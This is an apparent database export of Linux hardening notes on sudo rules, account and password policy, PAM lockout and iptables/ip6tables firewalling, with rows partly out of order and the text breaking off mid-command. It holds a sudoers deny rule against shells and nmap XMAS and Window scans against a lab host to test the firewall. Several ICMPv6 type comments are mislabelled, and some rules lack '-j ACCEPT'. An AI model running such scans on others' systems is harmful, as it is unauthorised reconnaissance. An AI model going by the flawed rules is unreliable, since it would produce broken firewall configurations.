file: text txt 2024-07-28 10:10:28.532339 -5570 1642 log_format = json code txt 2024-07-28 10:10:28.553846 -5571 1643 Defaults log_subcmds code txt 2024-07-28 10:10:28.815421 -5572 1644 Let's say the `who` command is dangerous. text txt 2024-07-28 10:10:29.37055 -5573 1644 Defaults intercept\nfrank ALL = (ALL) ALL, !/usr/bin/who code txt 2024-07-28 10:10:29.391645 -5574 1644 Now users will be prevented to run the `who` command even when they try to run it within a shell opened by `sudo`. text txt 2024-07-28 10:10:29.411688 -5575 1644 You can easily disable running shells altogether: text txt 2024-07-28 10:10:29.431565 -5576 1644 Defaults intercept\nCmnd_Alias SHELLS=/usr/bin/bash, /usr/bin/sh, /usr/bin/csh\nfrank ALL = (ALL) ALL, !SHELLS code txt 2024-07-28 10:10:29.45265 -5577 1644 Not only users cannot start shell sessions through `sudo`, also they cannot execute external commands from editors either. text txt 2024-07-28 10:10:29.47308 -5578 1645 `/etc/login.defs` configuration file. text txt 2024-07-28 10:10:29.671255 -5579 1646 By default, the `useradd` utility on Red Hat-type systems creates user home directories with a permissions setting of `700`, configured in `/etc/login.defs` file. text txt 2024-07-28 10:10:29.994773 -5580 1646 CREATE_HOME yes\nUMASK 077 code txt 2024-07-28 10:10:30.016192 -5581 1647 By default, `HOME_MODE` directive in `/etc/login.defs` configuration file is used to set permission for new user home directories.\nBut if `HOME_MODE` is not set, the value of `UMASK` is used to create the mode. text txt 2024-07-28 10:10:30.542138 -5582 1647 On RHEL 8 or RHEL 9-type distro, such as AlmaLinux, the `UMASK` is set for wide-open permissions: text txt 2024-07-28 10:10:30.561888 -5583 1647 UMASK 022 code txt 2024-07-28 10:10:30.582189 -5584 1647 But even though the `UMASK` is wide-open, when `HOME_MODE` is set properly, new user home directories still get properly locked down: text txt 2024-07-28 10:10:30.603541 -5585 1647 HOME_MODE 0700 code txt 2024-07-28 10:10:30.625474 -5586 1647 Either the `HOME_MODE` line or the `UMASK` line is in the login.defs file for all Linux distros, but until recently, Red Hat-type distros have been the only ones that have had them set to a restrictive value by default. text txt 2024-07-28 10:10:30.646476 -5587 1647 UMASK 077 code txt 2024-07-28 10:10:30.667775 -5636 1654 The `EXPIRE=` line sets the default expiration date for new user accounts. text txt 2024-07-28 10:10:35.771883 -5588 1648 The default permission set to users' home directories on Debian-based systems is wide-open, it should be fixed: text txt 2024-07-28 10:10:31.164142 -5589 1648 cd /home\nsudo chmod 700 * code txt 2024-07-28 10:10:31.184703 -5590 1648 To change the default permissions setting for home directories, edit `/etc/login.defs` configuration file and set directive values accordingly: text txt 2024-07-28 10:10:31.206071 -5591 1648 UMASK 077\nHOME_MODE 0750 code txt 2024-07-28 10:10:31.225572 -5592 1648 This includes access permissions for a user’s own personal group, but that’s okay. It still effectively means that only the respective owners of the various home directories can get into them. text txt 2024-07-28 10:10:31.245382 -5593 1649 Debian-based distros have two user creation utilities: text txt 2024-07-28 10:10:31.599198 -5594 1649 * `useradd`\n* `adduser` text txt 2024-07-28 10:10:31.620506 -5595 1649 The `useradd` utility on Debian-based systems does not create user home directory and does not set user shell by default.\nSo the command should be used like this: text txt 2024-07-28 10:10:31.641288 -5596 1649 sudo useradd -m -d /home/frank -s /bin/bash frank code txt 2024-07-28 10:10:31.662463 -5597 1650 The `adduser` utility is an interactive way to create user accounts and passwords with a single command, which is unique to the Debian family of Linux distros. text txt 2024-07-28 10:10:32.0583 -5598 1650 On Debian and Ubuntu 20.04, it creates user home directories with the wide-open 755 permissions value.\nFix it by overwriting the `DIR_MODE` directive in `/etc/adduser.conf` file: text txt 2024-07-28 10:10:32.08009 -5599 1650 DIR_MODE=700 code txt 2024-07-28 10:10:32.101245 -5600 1650 One thing that `adduser` can do that `useradd` can’t is to automatically encrypt a user’s home directory as you create the account. text txt 2024-07-28 10:10:32.12317 -5601 1651 You’ll first have to install the `ecryptfs-utils` package. text txt 2024-07-28 10:10:32.680279 -5602 1651 sudo apt install ecryptfs-utils code txt 2024-07-28 10:10:32.700209 -5603 1651 Create a user account with an encrypted home directory for Cleopatra and then view the results: text txt 2024-07-28 10:10:32.721527 -5604 1651 sudo adduser --encrypt-home cleopatra code txt 2024-07-28 10:10:32.742606 -5605 1651 Log in as Cleopatra and run the `ecryptfs-unwrap-passphrase` command: text txt 2024-07-28 10:10:32.764003 -5606 1651 su - cleopatra\necryptfs-unwrap-passphrase\nexit code txt 2024-07-28 10:10:32.785023 -5607 1651 Note that some of the information that `adduser` asks for is optional, and you can just hit the *Enter* key for those items. text txt 2024-07-28 10:10:32.80546 -5608 1652 We’ll be using the `pwquality` module for the **Pluggable Authentication Module (PAM)**.\nThis is a newer technology that has replaced the old *cracklib* module.\nOn any Red Hat 7 or newer type of system, and on SUSE and OpenSUSE, `pwquality` is installed by default, even if you do a minimal installation. text txt 2024-07-28 10:10:34.292562 -5609 1652 If you `cd` into the `/etc/pam.d/` directory, you can do a `grep` operation to check that the PAM configuration files are already set up.\n`retry=3` means that a user will only have three tries to get the password right when logging in to the system: text txt 2024-07-28 10:10:34.313836 -5610 1652 grep 'pwquality' * code txt 2024-07-28 10:10:34.334686 -5611 1652 On Debian and Ubuntu, you’ll need to install `pwquality` yourself: text txt 2024-07-28 10:10:34.355614 -5612 1652 sudo apt install libpam-pwquality code txt 2024-07-28 10:10:34.376695 -5613 1652 The rest of the procedure is the same for all of our operating systems and consists of just editing the `/etc/security/pwquality.conf` file. text txt 2024-07-28 10:10:34.397725 -5614 1652 No password complexity criteria are in effect after installation. text txt 2024-07-28 10:10:34.418518 -5615 1652 The minimum length setting works on a credit system.\nThis means that for every different type of character class in the password, the minimum required password length will be reduced by one character. text txt 2024-07-28 10:10:34.440375 -5616 1652 For example, let’s set minlen to a value of 19 and try to assign Katelyn the password of *turkeylips*: text txt 2024-07-28 10:10:34.459694 -5617 1652 minlen = 19 code txt 2024-07-28 10:10:34.480802 -5618 1652 Because the lowercase characters in *turkeylips* count as credit for one type of character class, we’re only required to have 18 characters instead of 19.\nIf we try this again with *TurkeyLips*, the uppercase T and uppercase L count as a second character class, so we only need to have 17 characters in the password. text txt 2024-07-28 10:10:34.502009 -5619 1652 Let’s say that you don’t want lowercase letters to count toward your credits: text txt 2024-07-28 10:10:34.522086 -5620 1652 lcredit = 1 code txt 2024-07-28 10:10:34.543395 -5621 1652 change the 1 to a 0: text txt 2024-07-28 10:10:34.564369 -5622 1652 lcredit = 0 code txt 2024-07-28 10:10:34.585317 -5623 1652 Then, try assigning Katelyn *turkeylips* as a password. text txt 2024-07-28 10:10:34.604769 -5624 1652 This time, the `pwquality` really does want 19 characters.\nIf we set a credit value to something higher than 1, we would get credit for multiple characters of the same class type up to that value. text txt 2024-07-28 10:10:34.626082 -5625 1652 We can also set the credit values to negative numbers in order to require a certain number of characters types in a password. text txt 2024-07-28 10:10:34.646833 -5626 1652 dcredit = -3 code txt 2024-07-28 10:10:34.667068 -5627 1652 This would require at least three digits in a password.\nHowever, it’s a really bad idea to use this feature, because someone who’s doing a password attack would soon find the patterns that you require,\nwhich would help the attacker to direct the attack more precisely.\nIf you need to require that a password has multiple character types, it would be better to use the minclass parameter: text txt 2024-07-28 10:10:34.688454 -5628 1652 minclass = 3 code txt 2024-07-28 10:10:34.709024 -5629 1652 It’s already set to a value of 3, which would require characters from three different classes. To use this value, all you have to do is to remove the comment symbol. text txt 2024-07-28 10:10:34.730092 -5630 1652 In the `/etc/login.defs` file on your CentOS 7 machine, you’ll see the line `PASS_MIN_LEN 5`.\nSupposedly, this is to set the minimum password length, but in reality, `pwquality` overrides it.\nSo, you could set this value to anything at all, and it would have no effect. (Note that the `PASS_MIN_LEN` parameter is no longer supported on RHEL 8/9-type distros.) text txt 2024-07-28 10:10:34.750742 -5631 1653 With the `chage` utility, you can either set password and account expiration data for other users or use the `-l` option to view expiration data.\nAny unprivileged user can use `chage -l` without `sudo` to view his or her own data. text txt 2024-07-28 10:10:35.111493 -5632 1653 let’s first look at where the default settings are stored.\nDefault settings are stored in `/etc/login.defs` file. text txt 2024-07-28 10:10:35.131765 -5633 1653 ```\nPASS_MAX_DAYS 99999\nPASS_MIN_DAYS 0\nPASS_WARN_AGE 7\n`````` text txt 2024-07-28 10:10:35.151926 -5634 1654 The `/etc/default/useradd` file has the default settings. text txt 2024-07-28 10:10:35.728854 -5635 1654 Ubuntu also has the `useradd` configuration file, but it doesn’t work.\nNo matter how you configure it, the Ubuntu version of useradd just won’t read it. So, the write-up about this file only applies to Red Hat-type systems. text txt 2024-07-28 10:10:35.750366 -5637 1654 By default, there is no default expiration date.\n`INACTIVE=-1` means that user accounts won’t be automatically locked out after the users’ passwords expire.\nIf we set this to a positive number, then any new users will have that many days to change an expired password before the account gets locked. text txt 2024-07-28 10:10:35.793002 -5638 1654 To change the defaults in the `useradd` file, you can either hand-edit the file or use `useradd -D` with the appropriate option switch for the item that you want to change. text txt 2024-07-28 10:10:35.813415 -5639 1654 For example, to set a default expiration date of December 31, 2025, the command would be as follows: text txt 2024-07-28 10:10:35.835386 -5640 1654 sudo useradd -D -e 2025-12-31 code txt 2024-07-28 10:10:35.856425 -5641 1654 To see the new configuration, you can either open the `useradd` file or just do `sudo useradd -D`. text txt 2024-07-28 10:10:35.878304 -5642 1654 `useradd` doesn’t do any safety checks to ensure that the default shell that you’ve assigned is installed on the system. text txt 2024-07-28 10:10:35.898531 -5643 1655 There are three ways that you can do this: text txt 2024-07-28 10:10:36.76775 -5644 1655 1. Use `useradd` with the appropriate option switches to set expiry data as you create the accounts.\n2. Use `usermod` to modify expiry data on existing accounts.\n3. Use `chage` to modify expiry data on existing accounts. text txt 2024-07-28 10:10:36.789019 -5645 1655 You can use `useradd` and `usermod` to set account expiry data, but not to set password expiry data. text txt 2024-07-28 10:10:36.809841 -5646 1655 * -e: Use this to set an expiration date for the account, in the form YYYY-MM-DD.\n* -f: Use this to set the number of days after the user’s password expires that you want for his or her account to get locked out. text txt 2024-07-28 10:10:36.830364 -5647 1655 Let’s say that you want to create an account for Charlie that will expire at the end of 2025. text txt 2024-07-28 10:10:36.849801 -5648 1655 sudo useradd -e 2025-12-31 charlie\nsudo useradd -m -d /home/charlie -s /bin/bash -e 2025-12-31 charlie code txt 2024-07-28 10:10:36.870248 -5649 1655 Verify what you’ve entered: text txt 2024-07-28 10:10:36.890745 -5650 1655 sudo chage -l charlie code txt 2024-07-28 10:10:36.911309 -5651 1655 Now, let’s say that Charlie’s contract has been extended, and you need to change his account expiration to the end of January 2026. text txt 2024-07-28 10:10:36.932869 -5652 1655 sudo usermod -e 2026-01-31 charlie code txt 2024-07-28 10:10:36.953372 -5653 1655 Optionally, you can set the number of days before an account with an expired password will get locked out: text txt 2024-07-28 10:10:36.973922 -5654 1655 sudo usermod -f 5 charlie code txt 2024-07-28 10:10:36.994377 -5655 1655 But if you were to do that now, you wouldn’t see any difference in the `chage -l` output because we still haven’t set expiration data for Charlie’s password. text txt 2024-07-28 10:10:37.016342 -5656 1656 You will only use `chage` to modify existing accounts, and you will use it for setting either an account expiration or a password expiration. text txt 2024-07-28 10:10:37.393506 -5657 1656 * `-d` If you use the `-d` 0 option on someone’s account, you’ll force the user to change his or her password on their next login.\n* `-E` This is equivalent to the lowercase `-e` for useradd or usermod. It sets the expiration date for the user account.\n* `-I` This is equivalent to `-f` for useradd or usermod. It sets the number of days before an account with an expired password will be locked out.\n* `-m` This sets the minimum number of days between password changes. In other words, if Charlie changes his password today, the `-m 5` option will force him to wait five days before he can change his password again.\n* `-M` This sets the maximum number of days before a password expires. (Be aware, though, that if Charlie last set his password 89 days ago, using a `-m 90` option on his account will cause his password to expire tomorrow, not 90 days from now.)\n* -W This will set the number of warning days for passwords that are about to expire. text txt 2024-07-28 10:10:37.417855 -5658 1656 sudo chage -E 2026-02-28 -I 4 -m 3 -M 90 -W 4 charlie code txt 2024-07-28 10:10:37.438983 -5659 1657 sudo chage -d 0 samson\nsudo passwd -e samson code txt 2024-07-28 10:10:37.666987 -5660 1658 Set the lockout value to something realistic, such as 100 failed login attempts.\nThis will provide good security, while still giving you enough time to gather information about the attackers. text txt 2024-07-28 10:10:38.624629 -5661 1658 On RHEL 7-type systems and Ubuntu 18.04, you’ll do this by configuring the `pam_tally2` PAM.\nOn RHEL 8/9-type systems and Ubuntu 20.04/22.04, you’ll instead configure the `pam_faillock` PAM module. text txt 2024-07-28 10:10:38.645566 -5662 1658 The `pam_tally2` module comes already installed on CentOS 7, but it isn’t configured.\nWe’ll begin by editing the `/etc/pam.d/login` file. text txt 2024-07-28 10:10:38.667267 -5663 1658 If you’re working with a text-mode server, you’ll only need to configure the `/etc/pam.d/login` file.\nBut if you’re working with a machine that’s running a graphical desktop environment, you’ll also need to configure the `/etc/pam.d/password.auth` and `/etc/pam.d/system.auth` files. text txt 2024-07-28 10:10:38.688446 -5664 1658 In the second line of the example, we see that `pam_tally2` is set with the following parameters: text txt 2024-07-28 10:10:38.709154 -5665 1658 * `deny=4`: This means that the user account under attack will get locked out after only four failed login attempts.\n* `even_deny_root`: This means that even the root user account will get locked if it’s under attack.\n* `unlock_time=1200`: The account will get automatically unlocked after 1,200 seconds, or 20 minutes. text txt 2024-07-28 10:10:38.730199 -5666 1658 Once you’ve configured the login file and have had a failed login, you’ll see a new file created in the `/var/log` directory.\nYou’ll view information from that file with the `pam_tally2` utility.\nYou can also use `pam_tally2` to manually unlock a locked account if you don’t want to wait for the timeout period: text txt 2024-07-28 10:10:38.751105 -5667 1658 sudo pam_tally2\nsudo pam_tally2 --user=charlie --reset\nsudo pam_tally2 code txt 2024-07-28 10:10:38.772604 -5668 1658 Configuring `pam_tally2` is super easy because it only requires adding one line to the `/etc/pam.d/login`, `/etc/pam.d/password.auth`, and `/etc/pam.d/system.auth` files.\nTo make things even easier, you can just copy and paste that line from the example on the `pam_tally2` man page. text txt 2024-07-28 10:10:38.793585 -5669 1658 On the CentOS 7 virtual machine, open the `/etc/pam.d/login` file for editing.\nLook for the line that invokes the `pam_securetty` module. insert this line: text txt 2024-07-28 10:10:38.814212 -5670 1658 ```\nauth required pam_tally2.so deny=4 even_deny_root unlock_time=1200\n`````` text txt 2024-07-28 10:10:38.835019 -5671 1658 Place the same line at the top of the `/etc/pam.d/password.auth` and `/etc/pam.d/system`. text txt 2024-07-28 10:10:38.855525 -5672 1658 `pam_tally2` doesn’t work with su. text txt 2024-07-28 10:10:38.876666 -5673 1659 The `pam_faillock` module is already installed on any RHEL 8 or RHEL 9-type of Linux distro. text txt 2024-07-28 10:10:40.09362 -5674 1659 Although you can enable and configure `pam_faillock` by hand-editing the PAM configuration files, the RHEL distros provide an easier method, which is called `authselect`.\nOn either an AlmaLinux 8 or AlmaLinux 9 VM, view the available `authselect` profiles by doing: text txt 2024-07-28 10:10:40.1153 -5676 1659 For now, at least, we’re only dealing with local users.\nSo, we’ll use the minimal profile.\nView the features of this profile like this: text txt 2024-07-28 10:10:40.157213 -5677 1659 sudo authselect list-features minimal code txt 2024-07-28 10:10:40.177518 -5678 1659 Note that there are a lot of included features, but we’re only interested in the **with-faillock** feature. text txt 2024-07-28 10:10:40.198068 -5679 1659 sudo authselect select minimal --force code txt 2024-07-28 10:10:40.218001 -5680 1659 After enabling a profile, we can now enable the `pam_faillock` module, like this: text txt 2024-07-28 10:10:40.238648 -5681 1659 sudo authselect enable-feature with-faillock code txt 2024-07-28 10:10:40.259195 -5682 1659 In the `/etc/security/` directory, open the `faillock.conf` file in your favorite text editor. text txt 2024-07-28 10:10:40.278739 -5683 1659 ```\n# silent\n# deny = 3\n# unlock_time = 600\n# even_deny_root\n`````` text txt 2024-07-28 10:10:40.299157 -5684 1659 Remove the preceding comment symbols from all four lines, and save the file. text txt 2024-07-28 10:10:40.319278 -5685 1659 Create a user account for Vicky by doing: text txt 2024-07-28 10:10:40.339731 -5686 1659 sudo useradd vicky sudo passwd vicky code txt 2024-07-28 10:10:40.35965 -5687 1659 Open another terminal, and have Vicky deliberately make three failed login attempts.\nView the results in your own terminal, like this: text txt 2024-07-28 10:10:40.379129 -5688 1659 sudo faillock\nsudo faillock --reset --user vicky code txt 2024-07-28 10:10:40.399853 -5689 1660 Sadly, the `authselect` utility isn’t available for Ubuntu, so we’ll just have to hand-edit the PAM configuration files. text txt 2024-07-28 10:10:40.876413 -5690 1660 Open the `/etc/pam.d/common-auth` file in your favorite text editor.\nAt the top of the file, insert these two lines: text txt 2024-07-28 10:10:40.896523 -5691 1660 ```\nauth required pam_faillock.so preauth silent\nauth required pam_faillock.so authfail\n`````` text txt 2024-07-28 10:10:40.917487 -5692 1660 Open the `/etc/pam.d/common-account` file in your text editor.\nAt the bottom of the file, add this line: text txt 2024-07-28 10:10:40.939241 -5693 1660 ```\naccount required pam_faillock.so\n`````` text txt 2024-07-28 10:10:40.960485 -5694 1660 Configure the `/etc/security/faillock.conf` file. text txt 2024-07-28 10:10:40.98146 -5695 1661 There are two utilities that you can use to temporarily lock a user account: text txt 2024-07-28 10:10:41.517072 -5696 1661 * usermod\n* passwd text txt 2024-07-28 10:10:41.538524 -5697 1661 We can lock and unlock an account by doing: text txt 2024-07-28 10:10:41.559357 -5698 1661 sudo usermod -L katelyn\nsudo usermod -U katelyn code txt 2024-07-28 10:10:41.579302 -5699 1661 Using `passwd` to lock and unlock user accounts: text txt 2024-07-28 10:10:41.599593 -5700 1661 sudo passwd -l katelyn\nsudo passwd -u katelyn code txt 2024-07-28 10:10:41.621069 -5701 1661 This does the same job as `usermod -L`, but in a slightly different manner.\nFor one thing, `passwd -l` will give you some feedback about what’s going on, whereas `usermod -L` gives you no feedback at all. text txt 2024-07-28 10:10:41.64199 -5702 1662 The first thing that you want to do when you set up a cloud-based server is to create a normal user account for yourself and set it up with full sudo privileges.\nThen, log out of the `root` user account, log in to your new account, and do this: text txt 2024-07-28 10:10:41.914763 -5703 1662 sudo passwd -l root code txt 2024-07-28 10:10:41.935722 -5704 1663 The `/etc/motd` file will present a message banner to anyone who logs in to a system through Secure Shell.\nOn your CentOS or AlmaLinux machine, an empty motd file is already there.\nOn your Ubuntu machine, the motd file isn’t there, but it’s a simple matter to create one. text txt 2024-07-28 10:10:42.467221 -5705 1663 motd stands for **Message of the Day**. text txt 2024-07-28 10:10:42.487306 -5706 1663 The issue file, also found in the /etc directory, shows a message on the local terminal, just above the login prompt.\nA default issue file will just contain macro code that shows information about the machine.\nHere’s an example from an Ubuntu machine: text txt 2024-07-28 10:10:42.50894 -5707 1663 ```\nUbuntu 22.04.1 LTS \\\\n \\\\l\n`````` text txt 2024-07-28 10:10:42.529076 -5708 1663 On a Red Hat-type machine, it would look like this: text txt 2024-07-28 10:10:42.54969 -5709 1663 ```\n\\\\S Kernel \\\\r on an \\\\m\n`````` text txt 2024-07-28 10:10:42.56924 -5710 1664 You can check your password on https://haveibeenpwned.com, but it is not a good idea to send your raw password to somebody’s website.\nInstead, just send a hash value of the password.\nBetter yet, let’s just send enough of the hash to allow the site to find the password in its database, but not so much that they can figure out what your exact password is.\nWe’ll do that by using the *Have I Been Pwned?* Application Programming Interface (API): text txt 2024-07-28 10:10:42.94571 -5711 1664 echo -n $candidate_password | sha1sum\ncurl https://api.pwnedpasswords.com - https://api.pwnedpasswords.com/range/21BD1 code txt 2024-07-28 10:10:42.967134 -5712 1665 You need a separate component of iptables to deal with IPv4 and IPv6. text txt 2024-07-28 10:10:43.412199 -5713 1665 sudo iptables -L\nsudo ip6tables -L code txt 2024-07-28 10:10:43.433706 -5714 1665 To see port numbers instead of port names, we can use the `-n` switch: text txt 2024-07-28 10:10:43.455001 -5715 1665 sudo iptables -L -n code txt 2024-07-28 10:10:43.476109 -5716 1666 sudo iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT code txt 2024-07-28 10:10:43.797925 -5717 1666 * `-A INPUT`: Places the rule at the end of the specified chain.\n* `-m`: Calls in an iptables module. In this case, we’re calling in the conntrack module to track connection states.\n* `--ctstate`: The ctstate, or connection state, portion of our rule is looking for two things. First, it’s looking for a connection that the client established with a server. Then, it looks for the related connection that’s coming back from the server in order to allow it to connect to the client. So, if a user was to use a web browser to connect to a website, this rule would allow packets from the web server to pass through the firewall to get to the user’s browser.\n* `-j`: Rules jump to a specific target, which in this case is ACCEPT. text txt 2024-07-28 10:10:43.820057 -5718 1667 To open port for **SSH** protocol following rule applies: text txt 2024-07-28 10:10:44.343322 -5719 1667 sudo iptables -A INPUT -p tcp --dport ssh -j ACCEPT\nsudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT code txt 2024-07-28 10:10:44.363835 -5720 1667 When an option name consists of more than one letter, we need to precede it with two dashes, instead of just one. text txt 2024-07-28 10:10:44.383861 -5721 1667 * `-A INPUT`: Place this rule at the end of the `INPUT` chain.\n* `-p tcp`: Indicates the protocol that this rule affects.\n* `--dport ssh`: Specifies the destination port on which we want this rule to operate.\n* `-j ACCEPT`: Jump to ACCEPT target. text txt 2024-07-28 10:10:44.405693 -5722 1667 To open port 53 for both the TCP and UDP protocols: text txt 2024-07-28 10:10:44.427119 -5723 1667 sudo iptables -A INPUT -p tcp --dport 53 -j ACCEPT\nsudo iptables -A INPUT -p udp --dport 53 -j ACCEPT code txt 2024-07-28 10:10:44.448501 -5724 1668 sudo iptables -I INPUT 1 -i lo -j ACCEPT code txt 2024-07-28 10:10:44.737649 -5858 1698 sudo firewall-cmd --new-zone corp --permanent code txt 2024-07-28 10:11:01.200723 -5725 1668 `sudo` needs to know the machine’s hostname so that it can know which rules are allowed to run on a particular machine.\nIt uses the loopback interface to help resolve the hostname.\nIf the lo interface is blocked, it takes longer for `sudo` to resolve the hostname. text txt 2024-07-28 10:10:44.75957 -5726 1669 While blocking certain types of ICMP packets is good, blocking all ICMP packets is bad.\nThe harsh reality is that certain types of ICMP messages are necessary for the proper functionality of the network.\nSince the drop all that’s not allowed rule that we’ll eventually create also blocks ICMP packets, we’ll need to create some rules that allow the types of ICMP messages that we have to have. text txt 2024-07-28 10:10:45.304398 -5727 1669 sudo iptables -A INPUT -m conntrack -p icmp --icmp-type 3 --ctstate NEW,ESTABLISHED,RELATED -j ACCEPT\nsudo iptables -A INPUT -m conntrack -p icmp --icmp-type 11 --ctstate NEW,ESTABLISHED,RELATED -j ACCEPT\nsudo iptables -A INPUT -m conntrack -p icmp --icmp-type 12 --ctstate NEW,ESTABLISHED,RELATED -j ACCEPT code txt 2024-07-28 10:10:45.32629 -5728 1669 * `-m conntrack`: Use the conntrack module to allow packets that are in a certain state. This time, though, instead of just allowing packets from a host to which our server has been connected (`ESTABLISHED`,`RELATED`), we’re also allowing `NEW` packets that other hosts are sending to our server.\n* `-p icmp`: This refers to the ICMP protocol.\n* `--icmp-type`: There are quite a few types of ICMP messages:\n + **type 3**: These are the **“destination unreachable”** messages. Not only can they tell your server that it can’t reach a certain host, but they can also tell it why. For example, if the server has sent out a packet that’s too large for a network switch to handle, the switch will send back an ICMP message that tells the server to fragment that large packet. Without ICMP, the server would have connectivity problems every time it tries to send out a large packet that needs to be broken up into fragments.\n + **type 11**: **Time-exceeded** messages let your server know that a packet that it has sent out has either exceeded its **Time-to-Live (TTL)** value before it could reach its destination, or that a fragmented packet couldn’t be reassembled before the **TTL** expiration date.\n + **type 12**: **Parameter problem** messages indicate that the server had sent a packet with a bad IP header. In other words, the IP header is either missing an option flag or it’s of an invalid length.\n + **type 0** and **type 8**: These are the infamous ping packets. Actually, type 8 is the **echo request** packet that you would send out to ping a host, while type 0 is the **echo reply** that the host would return to let you know that it’s alive. Of course, allowing ping packets to get through could be a big help when troubleshooting network problems. If that scenario ever comes up, you could just add a couple of iptables rules to temporarily allow pings.\n + **type 5**: Now, we have the infamous **redirect messages**. Allowing these could be handy if you have a router that can suggest more efficient paths for the server to use, but hackers can also use them to redirect you to someplace that you don’t want to go. So, just block them. text txt 2024-07-28 10:10:45.354128 -5729 1670 We can set a default `DROP` or `REJECT` policy for the `INPUT` chain, or we can leave the policy set to `ACCEPT` and create a `DROP` or `REJECT` rule at the end of the `INPUT` chain.\nWhich one you choose is really a matter of preference. text txt 2024-07-28 10:10:45.708289 -5730 1670 To create a `DROP` rule at the end of the `INPUT` chain, use this command: text txt 2024-07-28 10:10:45.72831 -5731 1670 sudo iptables -A INPUT -j DROP\nsudo iptables -P INPUT DROP code txt 2024-07-28 10:10:45.748734 -5732 1671 There are several ways to do this, but the simplest way to do this on an Ubuntu machine is to install the `iptables-persistent` package: text txt 2024-07-28 10:10:46.219857 -5733 1671 sudo apt install iptables-persistent code txt 2024-07-28 10:10:46.240565 -5734 1671 You’ll now see two new rules files `rules.v4` and `rules.v6` in the `/etc/iptables/` directory. text txt 2024-07-28 10:10:46.261849 -5735 1671 The `iptables-persistent` package won’t save subsequent changes to your iptables rules.\nTo make these changes permanent, I’ll use the `iptables-save` command to save a new file in my own home directory.\nThen, I’ll copy the file over to the `/etc/iptables` directory, replacing the original one: text txt 2024-07-28 10:10:46.283943 -5736 1671 sudo iptables-save > rules.v4\nsudo cp rules.v4 /etc/iptables/ code txt 2024-07-28 10:10:46.30486 -5737 1672 We could do that with a `PREROUTING` chain, but the filter table doesn’t have a `PREROUTING` chain.\nTherefore, we need to use the `PREROUTING` chain of the mangle table instead.\nLet’s start by adding these two rules: text txt 2024-07-28 10:10:46.646037 -5738 1672 sudo iptables -t mangle -A PREROUTING -m conntrack --ctstate INVALID -j DROP\nsudo iptables -t mangle -A PREROUTING -p tcp ! --syn -m conntrack --ctstate NEW -j DROP code txt 2024-07-28 10:10:46.66771 -5739 1673 With our new mangle table rules in place, let’s perform an XMAS scan: text txt 2024-07-28 10:10:47.506053 -5740 1673 sudo nmap -sX 192.168.0.15 code txt 2024-07-28 10:10:47.527121 -5741 1673 The XMAS scan sends invalid packets that consist of the `FIN`, `PSH`, and `URG` flags. text txt 2024-07-28 10:10:47.547612 -5742 1673 To see packats counter on the target machine run: text txt 2024-07-28 10:10:47.569252 -5743 1673 sudo iptables -t mangle -L PREROUTING -v code txt 2024-07-28 10:10:47.588858 -5744 1673 The fact that all 1,000 scanned ports show as `open|filtered` means that the scan was blocked, and that Nmap can’t determine the true state of the ports.\nWe can view the result to see which rule did the blocking.\nHere, you can see that the first rule — the `INVALID` rule — blocked 2,000 packets and 80,000 bytes. text txt 2024-07-28 10:10:47.609984 -5745 1673 Now, let’s zero out the counter so that we can do another scan: text txt 2024-07-28 10:10:47.63087 -5746 1673 sudo iptables -t mangle -Z PREROUTING code txt 2024-07-28 10:10:47.650808 -5747 1673 This time, let’s do a Window scan, which bombards the target machine with ACK packets: text txt 2024-07-28 10:10:47.67331 -5748 1673 sudo nmap -sW 192.168.0.15 code txt 2024-07-28 10:10:47.694014 -5749 1673 As before, the scan was blocked, as indicated by the message that all 1,000 scanned ports have been filtered. text txt 2024-07-28 10:10:47.715272 -5750 1673 sudo iptables -t mangle -L PREROUTING -v code txt 2024-07-28 10:10:47.735132 -5751 1674 The biggest difference is that instead of using the `iptables` command, you’ll use the `ip6tables` command.\nThe other big difference between IPv4 and IPv6 is that with IPv6, you must allow more types of ICMP messages than you need to for IPv4. text txt 2024-07-28 10:10:49.014922 -5752 1674 sudo ip6tables -A INPUT -p icmpv6 --icmpv6-type 1 -j ACCEPT # Destination unreachable\nsudo ip6tables -A INPUT -p icmpv6 --icmpv6-type 2 -j ACCEPT # Packet too big\nsudo ip6tables -A INPUT -p icmpv6 --icmpv6-type 3 -j ACCEPT # Time exceeded\nsudo ip6tables -A INPUT -p icmpv6 --icmpv6-type 4 -j ACCEPT # Parameter problem with the packet header code txt 2024-07-28 10:10:49.036513 -5753 1674 Next, we’ll enable **echo requests** (type 128) and **echo responses** (type 129) so that IPv6 over IPv4 tunneling will work: text txt 2024-07-28 10:10:49.057432 -5754 1674 sudo ip6tables -A INPUT -p icmpv6 --icmpv6-type 128 -j ACCEPT # Echo Requests\nsudo ip6tables -A INPUT -p icmpv6 --icmpv6-type 129 -j ACCEPT # Echo Responses code txt 2024-07-28 10:10:49.078206 -5755 1674 The next four ICMP message types that we need are for the **Link-local Multicast Receiver Notification** messages: text txt 2024-07-28 10:10:49.099286 -5756 1674 sudo ip6tables -A INPUT --protocol icmpv6 --icmpv6-type 130 # Listener query\nsudo ip6tables -A INPUT --protocol icmpv6 --icmpv6-type 131 # Listener report\nsudo ip6tables -A INPUT --protocol icmpv6 --icmpv6-type 132 # Listener done\nsudo ip6tables -A INPUT --protocol icmpv6 --icmpv6-type 143 # Listener report v2 code txt 2024-07-28 10:10:49.120688 -5757 1674 Next up are our neighbor and router discovery message types: text txt 2024-07-28 10:10:49.140269 -5859 1699 sudo firewall-cmd --reload code txt 2024-07-28 10:11:01.44174 -5758 1674 sudo ip6tables -A INPUT -p icmpv6 --icmpv6-type 134 -j ACCEPT # Router solicitation\nsudo ip6tables -A INPUT -p icmpv6 --icmpv6-type 135 -j ACCEPT # Router advertisement\nsudo ip6tables -A INPUT -p icmpv6 --icmpv6-type 136 -j ACCEPT # Neighbor solicitation\nsudo ip6tables -A INPUT -p icmpv6 --icmpv6-type 141 -j ACCEPT # Neighbor advertisement\nsudo ip6tables -A INPUT -p icmpv6 --icmpv6-type 142 -j ACCEPT code txt 2024-07-28 10:10:49.161407 -5759 1674 For times when you’re using security certificates to authenticate the routers that are attached to your network, you’ll also need to allow **Secure Neighbor Discovery** (SEND) messages: text txt 2024-07-28 10:10:49.182776 -5760 1674 sudo ip6tables -A INPUT -p icmpv6 --icmpv6-type 148 -j ACCEPT # Inverse neighbor discovery solicitation\nsudo ip6tables -A INPUT -p icmpv6 --icmpv6-type 149 -j ACCEPT # Inverse neighbor discovery advertisement code txt 2024-07-28 10:10:49.203785 -5761 1674 We need to allow **Multicast Router Discovery** messages: text txt 2024-07-28 10:10:49.224909 -5762 1674 sudo ip6tables 